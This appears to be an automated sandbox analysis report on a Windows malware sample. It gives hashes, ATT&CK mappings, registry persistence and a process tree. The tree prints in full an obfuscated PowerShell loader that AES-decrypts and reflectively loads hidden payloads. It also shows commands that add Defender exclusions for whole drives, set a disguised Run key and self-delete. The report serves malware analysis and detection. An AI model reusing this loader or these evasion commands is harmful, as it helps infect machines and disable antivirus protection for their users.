2811b96344264d2752dfe7fa5c0d124444a2337745bb66c3836e406c7df2b916

General

Target

给老子冲/影流之王🈹 (5).exe
Size

1.1MB
MD5

98e247275859543e4f338a906b7a0e2d
SHA1

cbc75272194f9b96719635e5a1ad347e8aaeb972
SHA256

c4318f631e8c30ff72114876c9fb3e435941b5bf18ab969c53c26483e5699eb8
SHA512

04cd9e7fd6f36ccdb4fb64ec86fa5c38d2997849f7330c63bf0db4286cea2a8588600afdec8a56ade39c0e718d5e235e762757295e0e745503ebbb147fde1d9a
SSDEEP

24576:G2Bf9f3u+9UjIS1Nl1JPSAqn4HuuwOBJM12nYELdGCLE:G27f3kFaA6intW

Score

7^/10

persistence

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

unsdk.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	unsdk.bat.exe

Executes dropped EXE 1 IoCs

Processes:

unsdk.bat.exe

pid process

716 unsdk.bat.exe

pid	process
716	unsdk.bat.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

影流之王🈹 (5).exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NVDIA Service = "C:\\Users\\Admin\\AppData\\Local\\Temp\\给老子冲\\影流之王🈹 (5).exe"	影流之王🈹 (5).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 25 IoCs

Processes:

影流之王🈹 (5).exeunsdk.bat.exepowershell.exepowershell.exe

pid	process
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
716	unsdk.bat.exe
716	unsdk.bat.exe
5108	powershell.exe
1848	powershell.exe
1848	powershell.exe
5108	powershell.exe
1848	powershell.exe
1848	powershell.exe
716	unsdk.bat.exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe
3676	影流之王🈹 (5).exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

影流之王🈹 (5).exeunsdk.bat.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3676	影流之王🈹 (5).exe
Token: SeDebugPrivilege	716	unsdk.bat.exe
Token: SeDebugPrivilege	5108	powershell.exe
Token: SeDebugPrivilege	1848	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

影流之王🈹 (5).execmd.execmd.exeunsdk.bat.exe

description	pid	process	target process
PID 3676 wrote to memory of 1900	3676	影流之王🈹 (5).exe	cmd.exe
PID 3676 wrote to memory of 1900	3676	影流之王🈹 (5).exe	cmd.exe
PID 1900 wrote to memory of 3872	1900	cmd.exe	cmd.exe
PID 1900 wrote to memory of 3872	1900	cmd.exe	cmd.exe
PID 3872 wrote to memory of 716	3872	cmd.exe	unsdk.bat.exe
PID 3872 wrote to memory of 716	3872	cmd.exe	unsdk.bat.exe
PID 716 wrote to memory of 1848	716	unsdk.bat.exe	powershell.exe
PID 716 wrote to memory of 1848	716	unsdk.bat.exe	powershell.exe
PID 716 wrote to memory of 5108	716	unsdk.bat.exe	powershell.exe
PID 716 wrote to memory of 5108	716	unsdk.bat.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\给老子冲\影流之王🈹 (5).exe
"C:\Users\Admin\AppData\Local\Temp\给老子冲\影流之王🈹 (5).exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat
2⤵
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat
3⤵
- Suspicious use of WriteProcessMemory
PID:3872

C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe
"C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe" -w hidden -c $YEEK='GCVLietCVLiCCVLiurreCVLinCVLitCVLiProCVLicesCVLisCVLi'.Replace('CVLi', '');$POMR='LoCVLiadCVLi'.Replace('CVLi', '');$AGNg='TCVLirCVLiansfCVLioCVLirmCVLiFinaCVLilBCVLilocCVLikCVLi'.Replace('CVLi', '');$plSj='SplCVLiitCVLi'.Replace('CVLi', '');$vQEn='FrCVLioCVLimBCVLiaCVLiseCVLi64SCVLitCVLirinCVLigCVLi'.Replace('CVLi', '');$XaVM='InvCVLiokCVLieCVLi'.Replace('CVLi', '');$wVKZ='ChCVLiangCVLieCVLiExCVLitCVLienCVLisionCVLi'.Replace('CVLi', '');$wHeU='FiCVLirstCVLi'.Replace('CVLi', '');$hLUz='MaiCVLinMCVLiodCVLiuleCVLi'.Replace('CVLi', '');$WUIc='EnCVLitryCVLiPoCVLiinCVLitCVLi'.Replace('CVLi', '');$alFu='ReCVLiaCVLidCVLiLinCVLiesCVLi'.Replace('CVLi', '');$ByBm='CCVLireCVLiaCVLiteCVLiDeCVLicrCVLiyCVLiptorCVLi'.Replace('CVLi', '');function ewixP($AAaRe){$omicA=[System.Security.Cryptography.Aes]::Create();$omicA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$omicA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$omicA.Key=[System.Convert]::$vQEn('XD+9NVavP36xq+/eONlCELUYPWiNze3ftFux/SslCWE=');$omicA.IV=[System.Convert]::$vQEn('vTnI2Q4cYpsFZdMCUt5nXQ==');$zwRBV=$omicA.$ByBm();$oJPPd=$zwRBV.$AGNg($AAaRe,0,$AAaRe.Length);$zwRBV.Dispose();$omicA.Dispose();$oJPPd;}function jlGEQ($AAaRe){$qlsEE=New-Object System.IO.MemoryStream(,$AAaRe);$hzoPC=New-Object System.IO.MemoryStream;$ICTKK=New-Object System.IO.Compression.GZipStream($qlsEE,[IO.Compression.CompressionMode]::Decompress);$ICTKK.CopyTo($hzoPC);$ICTKK.Dispose();$qlsEE.Dispose();$hzoPC.Dispose();$hzoPC.ToArray();}$UsbMc=[System.Linq.Enumerable]::$wHeU([System.IO.File]::$alFu([System.IO.Path]::$wVKZ([System.Diagnostics.Process]::$YEEK().$hLUz.FileName, $null)));$BCmrp=$UsbMc.Substring(3).$plSj(':');$KaFHq=jlGEQ (ewixP ([Convert]::$vQEn($BCmrp[0])));$GjXDD=jlGEQ (ewixP ([Convert]::$vQEn($BCmrp[1])));[System.Reflection.Assembly]::$POMR([byte[]]$GjXDD).$WUIc.$XaVM($null,$null);[System.Reflection.Assembly]::$POMR([byte[]]$KaFHq).$WUIc.$XaVM($null,$null);
4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:716

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(716);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\')
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5108

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fedoycxj.5ju.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat
Filesize
487KB

MD5
bb6a0d80de3dd26795653ec1bc7eac1a

SHA1
53a7368181af6191d282b59954c3fbbdcdb4f257

SHA256
e55f25f0d19246b03cbaa4ab860917629f681450d19eae7e7dd1fb593e85a93c

SHA512
75fed7438425480912c9f75695388f0b8a7135d4be783e8def9c482fd4467c99d811cf298e7e9f92d3de7a25edb76eb262eab42039cac5c0613b9a79357e4c69

Download Submit
C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Roaming\koodos40\unsdk.bat.exe
Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/716-151-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/716-186-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/716-152-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/716-153-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/716-154-0x00007FFFBD810000-0x00007FFFBDA05000-memory.dmp

Filesize
2.0MB

Download
memory/716-155-0x00007FFFBC340000-0x00007FFFBC3FE000-memory.dmp

Filesize
760KB

Download
memory/716-146-0x000001F3A94A0000-0x000001F3A94C2000-memory.dmp

Filesize
136KB

Download
memory/716-187-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/716-185-0x000001F3A7320000-0x000001F3A7330000-memory.dmp

Filesize
64KB

Download
memory/1848-177-0x000001839B680000-0x000001839B690000-memory.dmp

Filesize
64KB

Download
memory/1848-175-0x000001839B680000-0x000001839B690000-memory.dmp

Filesize
64KB

Download
memory/1848-188-0x000001839B680000-0x000001839B690000-memory.dmp

Filesize
64KB

Download
memory/1848-189-0x000001839B680000-0x000001839B690000-memory.dmp

Filesize
64KB

Download
memory/3676-133-0x00000000004B0000-0x00000000005C4000-memory.dmp

Filesize
1.1MB

Download
memory/5108-178-0x000001AE87240000-0x000001AE87250000-memory.dmp

Filesize
64KB

Download
memory/5108-179-0x000001AE87240000-0x000001AE87250000-memory.dmp

Filesize
64KB

Download
memory/5108-176-0x000001AE87240000-0x000001AE87250000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads